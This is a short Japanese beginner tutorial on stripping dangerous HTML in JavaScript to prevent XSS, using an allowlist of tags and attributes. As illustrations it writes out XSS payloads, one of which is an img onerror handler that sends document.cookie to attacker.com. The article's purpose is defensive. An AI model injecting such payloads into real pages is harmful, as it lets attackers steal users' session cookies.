JavaScript Tips | セキュリティ：危険なHTMLを除去する

危険なHTMLを除去することは「ユーザー入力を“安全なコンテンツ”だけに絞り込むための最後の防御線」です

業務システムで、ユーザーが入力した内容を「リッチテキスト」として表示したい場面は多くあります。

• お知らせ本文をHTMLで入力できる管理画面
• ブログ記事やコメント欄での簡易HTML入力
• 外部CMSから取得したHTMLをそのまま表示する機能

しかし、HTMLをそのまま信じて表示すると、 次のような危険なコードが紛れ込む可能性があります。

<script>alert('攻撃');</script>
<img src="x" onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
<a href="javascript:alert('XSS')">クリック</a>

これらはすべて XSS攻撃の入り口 になります。

そこで必要になるのが、 「危険なHTMLを除去する」＝HTMLサニタイズ用のJavaScriptユーティリティです。

ここから、初心者向けにステップバイステップで解説していきます。

危険なHTMLを除去する目的を整理する

危険なHTML除去（サニタイズ）の目的は、ざっくり言うと次の3つです。

1. 危険なタグを削除する
   • <script>, <iframe>, <object>, <embed> など
2. 危険な属性を削除する
   • onerror, onclick, onload などのイベント属性
   • href="javascript:..." などの危険なURL
3. 許可されたタグ・属性だけを残す
   • <b>, <i>, <p>, <a>, <ul>, <li> など
   • 安全な属性（href のうち http/https のみなど）

つまり、 「ホワイトリスト方式で安全なHTMLだけを通す」 という考え方が基本になります。